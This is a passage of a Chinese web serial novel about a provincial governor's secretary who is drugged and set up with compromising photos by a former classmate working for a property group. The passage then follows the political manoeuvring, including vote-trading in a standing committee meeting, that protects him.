“我下班之后,给你发消息不回,也联系不上你,我怕你出事,就按照你给我发的位置找过来。 我到的时候,警察都来了,我就把你带走了。 但你应该是喝了什么不好的药,那方面的精力很旺盛,也不分场合,整个人都不老实起来。 没办法,我就只好在这里开个房间了。” 许梦简单的将事情经过,讲述给了李承。 经过上次李承被沉江,他对李承的失联产生应激反应,会胡思乱想,所以,在联系不上李承后,第一时间就赶到了这里。 “你来的时候,我干什么了没有,有没有人录像?”李承问。 这是他最关心的问题。 “我来的时候,你就躺在沙发上,身边没有女人,至于有没有人录像就不知道了。”许梦说。 “嗯。”李承微微点头。 “你是误会那个叫韩雨薇的小姑娘了,是她帮你报的警,不然,你今天可就要犯大错误了。”许梦说。 “啊,是她帮了我呀。” 听到是韩雨薇出手帮忙,李承心里升起一抹愧疚。 刚才自己在心里还误会了她。 但眼下,这些不是重点,他问:“汪浩轩他们在哪里,被带去局子了吗?” “嗯,被带去了。” 第179章 天意 确定汪浩轩他们被警方带走问话,李承连忙拿起手机,拨通了宫庆鑫的电话号码。 这种紧急关头,李承顾不得会不会打扰对方休息。 必须在事件没有进一步恶化前,动用人脉,把影响压至最低。 ‘嘟..嘟..嘟...’ “喂,李秘书。” 电话接通,宫庆鑫声音中带着睡意。 “宫哥,有一件私事,要拜托你。”李承晃了晃发疼的头,语气严肃。 “出什么事了?” 宫庆鑫知道,李承这么晚给他来电,一定发生了紧急情况。 “我有几个朋友在城东区的唐厨发生口角,被辖区派出所带走了,我想请你帮我联系一下,先叫他们不要放人,再陪我去一趟。” 李承并没有讲述事情过程,这涉及到他个人隐私,能瞒则瞒。 他只需要把自己想要的结果告诉对方,让宫庆鑫照做就行。 “行,我现在联系。” 宫庆鑫应下,他清楚这其中涉及李承的问题,但他不会问,也不能问:“你在哪,需要我去接你吗?” “不用,我已经在去派出所的路上。”李承道。 “好。” 挂断电话,李承和许梦穿好衣服,赶往派出所。 在路上,李承特意找了一家药店,买了个口罩。 车停在派出所门口,李承没有贸然进去。 等了大概十分钟,宫庆鑫的车驶入他的视线中。 “你在车里等我。” 李承跟许梦交代一句,戴好口罩,下了车。 许梦是公众人物,《东江问政》的节目热度很高,她亮相的话,如果被认出来,就算没什么事情,也可能被传出闲话。 “宫哥。” 李承迎上刚下车的宫庆鑫。 “走吧,进去。” 宫庆鑫点了一下头,没有多问,带头走进了派出所。 “宫局,您来了。” 刚才,宫庆鑫亲自打给了先锋派出所的所长王安福,接到电话,他也第一时间赶了过来。 “人在哪?”宫庆鑫边走边问。 “都在候问室。” 王安福说着,做出请的手势,带着两个人朝里走。 候问室的门打开,汪浩轩,杨辰,还有杨辰的朋友都在这里。 但韩雨薇和另外的女生不在。 正常情况下,同案嫌疑人必须分室,男女必须分室,但因为他们几个已经做完了笔录,所以就被关在了一起。 若不是宫庆鑫电话打得及时,这些人已经被放出去了。 李承扫了几人一眼,最后和汪浩轩对视在一起。 四目相对,汪浩轩眼神中闪过一抹愧疚,最后垂下了头,不敢看李承。 “那两个女生在哪?”李承问王安福。 “在隔壁。” 王安福虽不清楚李承的身份,但这是宫庆鑫带来的人,他不敢怠慢。 “去见她们。” “好。” 王安福关上门,带着李承来到另一间屋子。 屋内,李承看到了韩雨薇。 “我想跟她单独聊聊。”李承指着韩雨薇,说。 在询问汪浩轩他们之前,李承要先将具体事情经过搞清楚。 许梦事后才赶到,她知道的也有限,李承并没有从许梦那得到想要的答案。 所以,他要问韩雨薇。 韩雨薇帮了他,自然也会愿意向他透露真相。 “把她带到一个单独的房间去。”宫庆鑫向王安福传达了命令。 “好的宫局。” 在王安福的安排下,李承和韩雨薇来到了一个笔录室,单独沟通。 王安福还贴心地给李承倒了一杯水。 “喝水吧。” 李承将水杯递给韩雨薇,冲她微微一笑。 “嗯,谢谢。” 韩雨薇接过水杯,将头发挽到耳后,小口小口地喝了起来。 这时,李承才注意到,在韩雨薇的手腕上有几道划伤,她的一侧脸颊也显得红肿。 脸颊的红肿,之前被她头发挡着,看不太清。 她撩过头发后,格外明显。 “你身上的伤,是被他们打的?”李承问。 “嗯。” 韩雨薇放下水杯,点了点头。 “为什么要帮我?”李承坐在她对面,疑惑地问。 虽说,他审计凯森纸业是公务所在,可毕竟韩雨薇的入狱和他有关联。 警察抓小偷,有些小偷都会记恨抓他的警察,在李承看来,对方不恨他就不错了,又为何要帮他呢? “你是一个好人,你帮过我,所以,我不能眼瞅着他们害你。”韩雨薇道。 “我帮过你什么?”李承纳闷。 “你可能不记得了,你审计凯森时,给我们这些会计开过小会,让我们不要被公司蒙骗去顶罪。 就是因为你的提醒,我去顶罪的时候,才向公司索要了一大笔钱,改善了我的家庭情况,不然的话,我可能就真被他们蒙骗了。” 韩雨薇道出实情。 韩雨薇的家庭条件不好,她需要钱,所以才愿意配合公司去偷税漏税,这样,她能拿到一笔提成。 当审计到凯森纸业时,她认为自己明知故犯,这个牢狱之灾她避免不了,她替公司入狱是理所应当。 公司也暗示过她,这就是她的责任,让她主动承担所有,公司承诺会帮她保释。 刚步入社会的她,心思较为单纯,没有想过去索要公司一笔费用,十分相信公司的造梦蒙骗。 但李承给他们开过那个小会后,她才意识到,其实她的错误并没有想象中那么严重。 所以,当公司让她去顶雷时,她才向公司索要了一笔她眼中的天价顶雷费。 在韩雨薇看来,没有李承的那次忠告,她就会被公司蒙骗,她就拿不到那笔顶雷费。 她不恨李承,因为顶雷是她自愿的选择。 相反,她一直记得李承这位负责任的好干部。 “也就是说,你给凯森顶雷,是自愿的?”李承听明白她的意思,淡淡地问。 “嗯,自愿的。”韩雨薇点头。 “不管怎么说,你今天帮了我,谢谢。” 李承向韩雨薇真挚地表示了感谢,没有她,李承的前途和感情,都会毁于一旦。 “没事。”韩雨薇嫣然一笑:“说来也是缘分,让我赶上了这个事,天意吧。” “雨薇,我想知道,在我失去意识后都发生了什么,我有没有做出什么出格的举动。 还有,他们有没有录像,能不能详细地跟我说说。” 第180章 过程 “你失去意识后,汪浩轩找了几个陪酒小姐,让她们去照顾你,还让我们都出去,我看汪浩轩拿出手机准备录像,就觉得这件事不对,挡住了她们。 我提议送你回家,汪浩轩不让,杨辰也叫我出去,我没同意,他和汪浩轩就动手来拽我。 你的身份这么敏感,我知道他们想干什么,就抱着你不肯放手。 房间的动静闹得很大,KTV的经理、保安都过来了,也有其他顾客在走廊围观,应该是这里面有人报了警。 没多久,警察就来了,你对象也过来了,我们被带过来做了笔录,你对象就把你带走了。” 韩雨薇将事情的过程,简单讲述给了李承,继续道:“期间汪浩轩也录了像,不过,我觉得对你的影响应该不太大。” “那我有没有做什么出格的举动?”李承追问。 他最关心的,就是这么问题。 那些陪酒女进门时,李承有印象,不着片缕,万一有肌肤接触,这件事不好办。 传出去,就算孟良德相信他,碍于其他压力,秘书这个位置也保不住。 这是丢了省长的脸。 省长若是继续留李承这种有劣迹行为的人在身边,那省长也会被传闲话。 这种事,是否为冤枉不重要。 重要的是,传出去,有多少人相信李承是被冤枉了。 在那种场合下,有了肢体接触,没有人会信他的无辜。 何况,还有那么多人想在李承身上做文章。 “那些女孩见我挡着,也就没靠近你,跟她们没有接触,只是....”说到此,韩雨薇的脸颊微微泛红。 “只是什么?”李承皱眉追问。 “那个药好像是...那种药...我抱你的时候,你的手很不老实。”韩雨薇声音越说越小。 闻言,李承面露尴尬,轻咳一声:“咳,那个...” 一时间,李承也不知道该怎么说下去。 “没事,没有很过分,没关系的。”韩雨薇替李承解围说。 “谢谢。” 李承再次表示了感谢。 “对了,我也录了像,你要不要看看?”韩雨薇道。 “好呀。” 听到有录像,李承迫切地想看。 耳朵听,不如眼睛看。 “我的手机被他们收上去了。”韩雨薇摸索了一下口袋,突然想了起来。 “什么样的手机?”李承问。 “套着红色Kitty猫手机壳的苹果。” “知道了。” 李承点头,出了笔录室。 在他的吩咐下,很快,王安福将韩雨薇的手机拿了过来。 韩雨薇解开手机,翻出录像递给李承。 “你们要干什么,我可录着像呢....” 视频播放,韩雨薇呵斥的声音率先传了过来。 视频录了十几分钟,其中大部分都是晃动的,最后是黑屏,只有声音。 但通过视频,可以确认。 当时李承的意识并不清醒,其中还有杨辰,汪浩轩去扯拽韩雨薇的动作,以及谩骂,殴打。 总体来讲,在这段视频里可以确定,这群人就是要趁着李承意识不清醒,对李承做出不利举动。 这份录像,是证明李承清白的有力证据。 “这个录像可以传给我吗?” 李承询问的同时,已经掏出了手机,这段视频他必须拿到。 “可以。” 两个人加了微信,通过微信的方式,把视频传了过来。 “你脸上的伤,是谁打的?”李承问。 “是杨辰。”韩雨薇道。 “需要我帮你讨公道吗?” 韩雨薇是杨辰的女朋友,这其中涉及到他们的感情问题,李承还是要询问一下韩雨薇的态度。 “可以要到钱吗?可以的话,最好不过。”韩雨薇说。 她跟杨辰交往的时间不久,能要到赔偿的话,她很乐意。 对方都动手打了她,她也不想念及什么旧情。 “嗯,我来安排,你在这休息一下。”李承说完,离开了笔录室。 “完事了?” 宫庆鑫和王安福一直在门口等待,见李承出来,宫庆鑫问。 “嗯,宫哥,她受了伤,你帮我安排一下,让她去做个伤情鉴定,我看她的脸很肿,刚才沟通时,听力好像也有限制,我怀疑那边的耳朵有穿孔。”李承淡淡地说。 这句话是很有深意的,至于宫庆鑫怎么去理解,那就是他的事情了。 “宫局,我去安排吧。” 王安福争着在局长面前表现,说。 在他的理解里,韩雨薇即便没有做伤情鉴定,也已经是耳膜穿孔了。 而且是四周内无法彻底愈合,可以定性为刑事案件的轻伤级穿孔。 (耳膜穿孔四周内愈合,是轻微伤,属于治安事件,不涉及刑事,四周以上未愈合,则可定性为轻伤。) “嗯。” 宫庆鑫点头,对李承说:“先出去抽根烟,有件事要跟你说。” “好。” 两个人走出派出所,宫庆鑫递给李承一支香烟,又给自己点了一根。 “他们几个应该有花海集团有关系,刚才王所长说,花海集团的人联系过他,想让他放人。” 宫庆鑫道。 王安福在接到宫庆鑫的电话后,又接到了花海集团一位高管的电话。 只不过,大局长的亲自发话了,王安福不可能放人。 “猜到了。” 深夜的风划过李承脸颊,手中的烟头,在他一呼一吸之间,忽明忽暗。 在他的眼神中,闪过一抹冰冷的杀意。 当他确认是汪浩轩所为时,就已经推测出幕后黑手。 汪浩轩之前就想过拉李承入伙,跟花海集团合作,被李承拒绝了。 后来,汪浩轩还是拿到了代理项目。 李承早就应该想到花海集团可能利用汪浩轩,也早就应该做出防备。 可因为汪浩轩是他的大学同学,是上下铺的兄弟,在情感的驱动下,李承忽略了人性。 他没曾想到,汪浩轩为达目的,会做出如此卑鄙之事。 “那些人,跟你关系怎么样?”宫庆鑫弹了弹烟灰,淡淡地说。 “上学时,上下铺的兄弟。”李承苦笑道。 “唉...” 闻言,宫庆鑫宽慰地拍了拍李承的肩膀:“涉及到利益,这年头,很少有人讲情义了。” “嗯。” 李承将烟蒂丢在脚下踩灭:“我去见一下他。” 第181章 破窗效应 笔录室内。 李承脸色平静,没有丝毫的情绪波动。 他看着昔日的好兄弟坐在自己面前,却没有了半点的亲切,只有失望。 汪浩轩做的事情让他太失望了,失望到对这个人已经没有了愤怒。 “花海集团,许诺给你了什么好处?”李承点燃一根香烟,冷静地问。 “让我拿到了三个楼盘的销售代理。” 汪浩轩始终垂着头,也许是因为愧疚,亦或是知道得罪李承的下场,他没有抬头与李承对视。 “三个楼盘的代理,能赚多少钱?”李承问。 “一千多万吧。” 一套房的佣金是两万,三个楼盘加在一起,一共有两千多套房子。 抛去销售提成,团队费用,汪浩轩算过,他还能剩一千二三百万。 “这么多钱呀。” 李承吸了一口烟,弹了弹烟灰。 出卖一个近几年不怎么联系的上下铺兄弟,就能得到千万的利润,和花海集团这个发展平台,想来,绝大多数人都会这么做。 没步入社会前,李承相信‘义薄云天’四个字。 这些年的仕途生涯,经历了这么多的事情,他很清楚,在利益面前,情义什么都不算。 其实,他有点理解汪浩轩。 但理解不代表原谅。 “是呀,实在太多了,我也没办法啊兄弟。” 汪浩轩说到这,他突然抬起头,醉醺醺的眼眸盯着李承,里面没有半点的愧疚:“所以,你不能怪我,如果你当初答应合作,我们也不至于走到今天这一步,我们还能做兄弟的。” 闻言,李承抽着烟,没有回应他的说辞。 李承也不想跟他废话。 “听说你录像了,把手机解开,我看看。”李承将汪浩轩的手机递到他面前,说。 “都说朋友妻,不可欺,看看你李秘书的举动吧。” 汪浩轩将手机递给李承,冷笑一声,说:“看完想删就删吧,该发的人,我也发完了。” 李承接过手机,表情阴沉地点开了视频。 视频只有一分钟左右,画面被刻意放大,只能看到韩雨薇抱着李承,嘴里叫嚷着,看不到其他人的出镜。 而画面中的李承,眼神迷离,一只手解着自己的衣服纽扣,另一只手伸入韩雨薇的衣服内,胡乱的摸索。 但韩雨薇身体跟李承贴得很近,摸的位置,也都是后背部分。 “李承,要是因为这段视频,对你的工作造成了什么不必要的麻烦,你可千万别怪我,是你自己不识相。” 汪浩轩冷笑一声,继续道:“不过呢,你现在还有反悔的机会,只有你主动联系李总,她应该会留情。” 看着汪浩轩的丑恶嘴脸,李承深感厌恶。 这就是破窗效应。 当两个人的关系彻底崩塌,汪浩轩也就无所顾忌了。 对此人已经失望透彻,李承没有跟他多一句废话,直接离开了笔录室。 “宫哥,今晚辛苦你了,感谢。” 李承将汪浩轩的手机递还给王安福,对宫庆鑫表示感谢。 “都是朋友,不说这些。” 宫庆鑫淡淡一笑,问:“完事了?” “嗯。” “这些人呢?” 宫庆鑫是在问李承怎么处置。 “没参与殴打的就放了吧,那两个动手的,就按你们的程序走。”李承道。 对韩雨薇动手的人,是汪浩轩和杨辰。 这两个人,算得上李承曾经的好朋友,好兄弟。 可对方没念及任何情分,做出这种事,李承又何必对他们留情。 “行。” 跟宫庆鑫告别后,李承坐上了许梦的车。 “处理完了?”许梦问。 “算是吧。”李承阴沉地说。 “对你有影响吗?”许梦关心地问。 “录了像,传出去肯定会有。”李承道。 “那怎么办?”许梦慌了。 “走一步看一步吧,还好韩雨薇录了视频,可以为我证明。” 视频落在了花海集团手里,如果自己不妥协,对方一定会在此事上大做文章。 可他没办法妥协。 妥协就是同流合污,那样,既违背了李承的底线和初心,也必将卷入更深的漩涡。 花海集团是一个坑,跳进去就爬不出来了。 至少现在还有韩雨薇那段视频,可以证明他的清白。 “我能看看那个视频吗?”许梦问。 李承犹豫了两秒,拿出手机:“行。” 视频给许梦看了,就算她会生气吃醋,这件事至少能解决。 如果不给她看,她就会胡思乱想。 许梦接过手机,看完这段视频后,将手机还给李承,没再说话。 “看到我那个样子,你生气了吧。” 李承伸手抚摸了一下许梦的头,他知道许梦心里一定不好受。 视频里有韩雨薇抱李承的画面。 换位思考一下,许梦被灌醉,跟其他男性拥抱,即便没有任何实质性的问题,李承心里也过意不去。 “嗯。” 心里不舒服是肯定的,但好在没有更多接触,不然,许梦也不知道这段感情该不该继续下去。 “选了你这种身份的男人,可能,这就是我要经历的吧。这才哪到哪,等你以后官做大了,想巴结你的人更多了,说不定都会失身呢。” 许梦叹了口气,这些问题,她想都不敢想。 “不会,以后这种场合我绝对不单独参与,不给他们可乘之机。”李承保证道。 今晚发生这种事情,不会出现在官场饭局内,为官者都注重身份和影响,不会用这种下三滥的手段。 这种手段,只会出现在官商酒局中,想避免这种事情也很简单,身边带一个信得过的人就好。 为官者带家属,就算商人有意见,也不敢多说什么,没有官与官打交道那么多约束。 “不怕他人别有用心,就怕到时候你有权有势,我也人老珠黄,你看不上我了,自己就变了心。” 许梦挂上档位,驶动汽车。 “这绝对不可能,我最爱你了,绝不可能变心。”李承信誓旦旦地说。 “我提前跟你说好,真有那一天,我一定会跟你离婚.....不对,我还没想好要不要跟你结婚呢,哼。” 许梦轻哼一声,生气地道。 “宝宝,我也不是有心的,这是他们算计我....” “哼,你要是有心的,我们现在就已经分手啦!” 第182章 举报信 周一。 李承坐在秘书间,翻看起投给孟良德的举报信。 除机密文件外,所有到孟良德面前的文件,李承都会事先过目。 正常情况下,能到省长手里的举报信,会经过层层拦截和过滤。 能够传到省长面前的信,基本都是一些重大事件,或与全省经济发展有关的重要问题。 通常这些文件,都会加注‘急件’或‘特提’。 而且,出现这种情况,都是下面‘压不住’了,才会递交到省长这里。 不过,凡事都有例外。 孟良德上任后,为了防止一些官员‘压事’‘瞒事’,为了能够更深入地了解百姓情况,他是会去看下面举报信的。 为此,省政府办公厅还专门成立的工作小组,专门筛选一些例如‘黑恶势力’‘贪污受贿’‘食品安全’等严重问题的举报信,递交上来,一周一次。 当拆开其中一封举报信时,李承的眉头顿时紧皱。 这是一封不该出现在这里的信件! 里面是手稿信,其中还附带着照片。 信件内容上,密密麻麻十几排的小字。 履历了省长秘书李承的工作失职,为人不道德,欺男霸女,好色下流,以权谋私,用极度的抹黑来形容李承。 而里面附带的照片,一共有四张。 两张是周五晚上,李承喝醉后,被韩雨薇搂在怀里,解扣子,把手伸进对方衣服里的照片。 照片经过刻意裁剪,单从照片看,李承完全是一个酒醉色狼。 另外两张是李承在陈思琪家里,同样展现了李承的好色。 看到这封信和照片,李承的双拳不由紧握。 若是韩雨薇那件事还能辩解,可加上陈思琪这两张照片,李承就有些百口莫辩了。 虽说两次李承都是被动,而且根本没有更多接触。 可两组照片,涉及两个女人的暧昧动作,李承有种百口莫辩的感觉。 ‘还真是黄泥巴掉裤裆,不是屎也是屎了。’ 李承心中抱怨了一句。 他很清楚,这是花海集团背后所为,可接下来该怎么办呢? 若是让孟良德看到这封举报信,自己的形象岂不是一落千丈,他会相信自己吗? “李处长,你专心看什么呢?” 这时,一道女人调皮的声音从李承不远处响起。 李承刚才的注意力全部集中在照片和思索上,竟没察觉到李薇儿何时进的门。 “有什么事吗?” 李承将照片塞进信封中,尽量显得不慌乱。 “医药产业发展推进会的手稿已经拟好了,想请你过目一下呗。”李薇儿将讲话稿双手递给李承,莞尔一笑。 “嗯,知道了。” 李承接过讲话稿,随手放在了一边。 医药产业发展推进会,是孟良德为了扶持和推动恺奥医疗CT机快速投入市场,特意举办的一场活动会议。 省政府牵头,省长自然要讲话。 讲话稿由综合一处起草,李承这位专职秘书进行初审和润色,最终再由孟良德拍板。 不过,距离推进会还有几天的时间,不着急定稿。 况且,眼下李承也没心情去看稿,举报信的问题,像压在他心头的一座大山,让他无心他事。 “你怎么还不走?” 李承抬起眼皮,看到李薇儿双手背在后面,抿着嘴笑,疑惑地问。 “有件事,想跟你商量一下。”李薇儿挪着小碎步,走近距离。 “说。”李承道。 李薇儿弯下身,用手肘杵在桌子上,还是想用那习惯性的动作,跟李承讲话。 这种动作下,李承只要目光瞟过去,就能看到她那深深的事业线。 “你站起来说。”李承表情严肃。 往常,李承对于她这个姿势,也就见惯不惯,随她去。 但此时李承的心情并不好,发生了那种事,李承对除许梦之外的所有女人,都有了一种高度的警惕心。 他失去了欣赏美女身材的雅兴,在他眼里,所有漂亮的女人,都是随时可能要吃他的白骨精。 “哦。” 李薇儿被说了一句,只好乖乖站直身体:“李处长,我想调换一个岗位,我觉得自己已经深刻了解了起草文稿的核心要素,想要调到这个岗位上去。” 李薇儿现在的岗位,都是一些杂活,负责打印,跑腿,文稿纠错字等。 在这个岗位上,她的晋升空间不大。 所以,她想调换到起草文稿的岗位上去,那是秘书处最有发展的岗位。 “嗯,我会考虑的。” 李承没有拒绝,敷衍回道。 综合一处的处长还在空缺状态,目前仍由李承担任。 这在他权力范围内。 不过,他并不打算给李薇儿调任。 起草文案的‘笔杆子’一职格外重要。 他了解李薇儿的水平,对方无法胜任。 “那我等你的消息,嘻嘻...先不打扰你了。” 见李承不拒绝,李薇儿觉得有戏,笑着退出了办公室。 她走后,李承再次拿起这封举报信。 他在纠结。 作为省长秘书,他完全可以将这份举报信扣押销毁,不让举报信流入到孟良德的面前。 的的确确,他也动了这个念头。 思来想去,李承将信封夹在了其他举报信的中间,起身走向孟良德的办公室,准备给孟良德审阅。 既然身正不怕影子歪,又何必要遮遮掩掩呢? 再者说,就算他遮遮掩掩,又能够遮得住吗? 李承很清楚一点,花海集团能把举报信投递到孟良德的桌面上,那么,纪委书记李岳明和省委书记马洪波的桌面上,很有可能出现同样内容的举报信! 自己乖乖把举报信放在孟良德桌子上,还能显得自己坦诚。 可若是孟良德从其他渠道收到这个消息,并发现李承遮盖了此事,孟良德一定会起疑心。 藏掉这份举报信,反而是显得心里有鬼! “省长,这是上周的举报信件。” 李承将举报信放在孟良德的办公桌旁,说。 “嗯,放这吧。”孟良德点了点头,继续看着他手中的文件。 “好。” 李承点头,看了一眼孟良德的水杯,发现水还有很多,便退了出去。 第183章 解释 坐在位置上,李承拿起医药推进会的省长讲话稿。 眼睛盯在上面,心里乱糟糟的,根本看不进去。 他不知道孟良德看到那封举报信后,会有什么样的反应。 但是,人都有一个特点,遇到事情,总会把问题想到最坏。 李承脑子已经盘算起最坏的结果。 除此之外,还有一点引起了李承的警惕。 举报信的拦截和过滤是人为干预,省办公厅有工作小组负责。 李承怀疑,这封举报信,是筛选人员想让省长看到的。 亦或者说,举报人通过一些手段,例如收买筛选人员等,让这封信‘逃离’筛选范畴。 而最主要一点,这个专门为省长筛选举报信的工作小组,是由杨兆华负责。 这封举报信,杨兆华一定看过。 可按照两个人的交情,对方却并没有找到李承询问情况,这其中,就有些耐人寻味了。 ‘叮’ 正当李承胡思乱想时,呼叫铃响了起来。 李承甩掉脑袋里的杂念,站起身,走进孟良德的办公室。 “省长。” 站在孟良德面前,李承看到了对方桌子上已经拆开的信封和那几张照片,他知道,该来了终于来了。 “这封信,你看过吗?”孟良德端起水杯,喝了一口,语气平淡。 “看过了。”李承点头。 “嗯。” 孟良德微微点头,说:“昨天晚上,岳明同志在电话里,就跟我讲起过这件事。” 闻言,李承感到庆幸。 事情果然传到了孟良德的耳朵里,如果刚才自己私藏这封信,这些天积攒的信任和好感,可能会顷刻间崩塌。 “说说吧,照片怎么回事?”孟良德伸手点了点这几张照片,道。 照片拍摄得过于暧昧,孟良德相信李承的人品,却还是要问清楚来龙去脉。 这样,别人当他面拿李承做文章时,他有足够的反驳理由。 “这两个照片,是我刚上任秘书时,我在审计局的徒弟为了庆祝我升职,在她家里请我吃饭时,她偷偷录得像,从中截取的。 当时,她提到要让我帮她调进省政府,被我拒绝了。” 这两张照片,都是陈思琪主动,看着暧昧,其实细看起来,也能发现些端倪。 女方有摆拍的嫌疑。 “后来这些照片,就落入到了花海集团手里,他们的一个高管还曾用照片,以破坏我和许梦感情的方式威胁我,也被我拒绝了。” 李承先是解释清楚与陈思琪的照片问题。 跟陈思琪的照片里,李承没有动手动脚的行为,相比于跟韩雨薇的照片,根本不值一提。 “这两张照片发生在上周五,我大学一个寝室的同学过生日,邀请我去参加。 这么多年的感情,我疏忽了警惕,没想到他们在我的酒里下了药。 他们找了一群陪酒人员,想要趁机拍摄我更多露骨的照片,抱着我的这个女生是为了保护我,她还受伤了,耳膜穿孔。 而且,在她保护我的时候,她也录了像,我手机里有视频,可以证实我的清白。” 李承将另外两张照片的情况,也如实解释清楚。 说着,李承准备掏出手机,拿出那段视频自证清白。 “视频不用看了,你是我的秘书,我相信你的为人。”孟良德摆了摆手。 他也是从基层干部,一步步提拔上来的。 他经历过的这些,远远比李承多得多,所以,对于李承的话,他相信。 “以后你要加以小心,利益面前,感情经不起考验。”孟良德语重心长地提醒道。 这是他过来人的经验。 在他的仕途道路上,也曾经历过好朋友的背叛与出卖,而且,当时他的问题要比李承严重得多。 好在,孟良德家庭背景雄厚,事情被压了下来,对他没有过多影响。 可李承不同,李承没有足够强大的背景。 一旦遭遇不测,那就是万劫不复的下场。 “我知道。”李承点头。 “陷害你的那些人,该怎么处理,你亲自去跟庆鑫同志联系。”孟良德道。 这涉及到李承的友情,他想让李承自己做决定。 这是他成长需要迈出的一步。 “好的省长。” “对了,你那个视频还是发到我手机里一份吧,下午的常委会议结束,我去见一下马洪波,保不准有人要拿这件事做文章。”孟良德说。 “好。” 李承再次应下,说:“省长,周五发生的这件事,也跟花海集团有关,花海集团承诺给我同学三个楼盘的代理权。” 花海集团一直对他图谋不轨,他也想吹吹孟良德的耳边风,加大孟良德对花海集团打击的速度。 “嗯,他们已经感受到了危机。”孟良德沉声道。 最近,花海集团的动作越来越频繁,越来越过分,究其原因,是他们感受到了危险的气息。 常百利离开了省公安厅,没有这个保护伞,孟良德对于黑组织雷二利的打击,已经在筹划之中。 雷二利后面的金主,就是花海集团。 除此之外,省委书记马洪波的‘势’越来越大,正在压缩本地派的生存空间,有搞一言堂之态。 这些,对于花海集团及背后势力来讲,都是不利的。 所以,他们迫切地想要搞出一些事情来,来阻止这一进展。 离开孟良德办公室。 李承拿起座机,拨通了宫庆鑫的号码。 他觉得,孟良德让他联系宫庆鑫,也是对他的一种考验。 “李秘书。” 电话接听,宫庆鑫道。 “宫局长,还是关于周五那晚的事情,这些人涉嫌用违禁药物致使我失去意识,并意图拍摄不雅照片进行威胁。 除此之外,他们还传播了这些照片牟利,并殴打了那个女生,对这些人,一定要进行严惩。 那个女生手里有视频作为证据。”李承态度严肃地说。 “好,我现在安排人取证,争取拿到第一时间逮捕。”宫庆鑫道。 “嗯,辛苦了。” 周五那天,李承隐瞒事情真相,是不想把这个消息传出去。 但现在,照片已经被送到了孟良德的办公桌上,纪委那边也收到了同样的照片,等同于公之于众了。 所以,李承也没什么顾虑,选择严肃处理此案。 第184章 斡旋 下午。 李承跟随孟良德去省委开了一场常委会议。 这次会议十分关键,有几个重要的人事任命议题,同时,还可能谈论到李承的作风问题。 其实,李承是真的很想进去旁听,只不过,他没有这个资格。 只能在门口‘站岗’。 ‘嗡嗡...’ 李承无聊地看着走廊窗外的风景,脑袋里胡思乱想时,口袋中的手机传来震动。 拿出手机,来电显示:中组部仇少银。 这个手机不是李承的,而是孟良德的。 省委常委会议,参会人员不允许带手机入场,包括省委书记和省长在内。 所以,孟良德的手机放在李承这里保管。 有任何的电话,由李承负责接听,再根据事情的紧迫程度,分析要不要打断常委会议。 “喂,老孟。” 电话接通,里面传来一个雄厚男人的声音。 “仇部长您好,我是孟省长的秘书,省长正在开重要会议。” 李承自我介绍,并讲明孟良德未接电话原因,但他没有问对方什么事情,若是对方有急事,自然会讲。 李承虽不清楚仇少银是什么职位,但能喊孟良德为老孟的人,肯定是省部级干部,喊部长没错。 不过,有一点可以确定,这个人不是中组部的部长。 因为中组部的部长会级别高配,已经超出省部级的范畴,对于那种级别的领导,李承格外关注过,也都知道名字。 “哦,没什么事,开完会让他给我回吧。”仇少银答应一声,便挂断了电话。 会议持续了两个小时才结束。 待到孟良德走出来后,李承将手机递给了他,低声说:“省长,刚才中组部的仇部长给您打过电话。” “哦,他说什么了?”孟良德拿过手机,淡淡地问。 “说让您开完会给他回电话。”李承道。 “知道了。” 孟良德应了一声,他并没有第一时间给仇少银回电,而是去了马洪波的办公室。 两个人单独聊了二十几分钟,一切结束,已经是下午五点多了。 回到省政府办公室,孟良德这才回拨了号码。 具体对方跟孟良德说了什么,李承听不见,孟良德也只是简单答应两句,便挂断了。 “小李,周安同志已经通过滨西市委书记的票选。”孟良德将这个消息传达给了李承。 “那我下班后给他打个电话。”李承说。 孟良德告诉他这个消息,应该是想让李承联系一下周安,祝贺一下。 这不仅是祝贺,也是在拉拢关系,以及侧面地告诉对方,在他的票选上,孟良德支持了他。 这是份人情。 “老板...会议上提到我了吗?” 李承沉吟了两秒,还是选择开口问。 他想知道举报信问题的具体,这件事迟迟不落地,他的心就一刻不得安宁。 “嗯,已经解决了,鲁林的副省长提议没通过。”孟良德淡淡的道。 “谢谢省长。” 闻言,李承对孟良德道了声谢。 孟良德把李承的问题和鲁林的副省长提议一同说出来,就是侧面告诉李承,这件事的解决方式。 李承的问题,在省委常委会议上,被专职副书记点名提出。 大家都很清楚,一个秘书的作风问题,能够拿到省委常委会议上谈,这就不单单是秘书的作风问题了。 而是一些人对孟良德发起的进攻,在一定程度上,也是政治斡旋。 这件事,是放在了人事任命的提议之前,被拿出来谈论的。 其中的谈论,有拉拢,有针对。 虽是专职副书记吕崇山谈起的话题,但他的态度也不是一味地针对,是有来有往的拉扯。 谈论这件事,说到底,就是为了人事任命的票选。 所以在票选环节上,孟良德赞同了周安的滨西市委书记提名,给足马洪波面子。 而在鲁林这位空降公安厅长提名副省长一职上,孟良德投下了弃权票。 这也直接导致了鲁林提议副省长未通过。 这么做的目的,符合吕崇山等本地派的利益。 作为回报,吕崇山等人自然不会在李承这个小秘书的问题上,揪着不放。 看似,孟良德是为了保护李承,从而投了鲁林弃权票。 实则不止于此。 孟良德从最开始就没打算让鲁林顺利地升任副省长,晋升省部级(副职)。 不想让马洪波一言堂的人,不止是本地派,包括孟良德本人也不想。 而且,马洪波在公安厅长的职位上摆过孟良德一道,这张弃权票,也是他对马洪波出尔反尔的一种回应! 李承的问题,则成为了孟良德投下弃权票的一种政治掩护。 送孟良德回到迎宾馆后,李承拨通了周安的电话。 ‘嘟..嘟..嘟...’ “喂,李秘书,你好。” 电话接通,周安客客气气的声音,从电话中传了过来。 “周书记,恭喜你呀。”李承直接称呼对方为书记。 周安已经通过了票选,基本是板上钉钉的滨西市委书记。 除非,再次出现宫庆鑫遭遇的那种事。 但那种事情,太少见了。 即便本地派不想让周安任职,也不会再采用那种手段。 那种手段用一次可以,用第二次,就是在跟党政系统的两位一把手公然叫板。 “哈哈哈...谢谢李秘书呀,没有你的提醒,我可能就要犯错误了,怕是无缘市委书记一职。” 周安向李承表示了感谢,这其中,客套的成分很大。 “主要是周书记的发展理念,以及那股子实干精神打动了老板。” 李承笑呵呵地说:“而且围棋下得也好,自从老板跟您下过棋,就再也不愿意搭理我这个臭棋篓子了,呵呵呵...” 周安的身上,的确有很多需要李承学习的地方。 在跑官上,他确实有一套,围棋下得非常高明。 看似,那场围棋是孟良德杀得他狼狈,他苦苦支撑后,仍是惨败。 实际上,从最开始,孟良德在棋盘上就落在了周安圈套里。 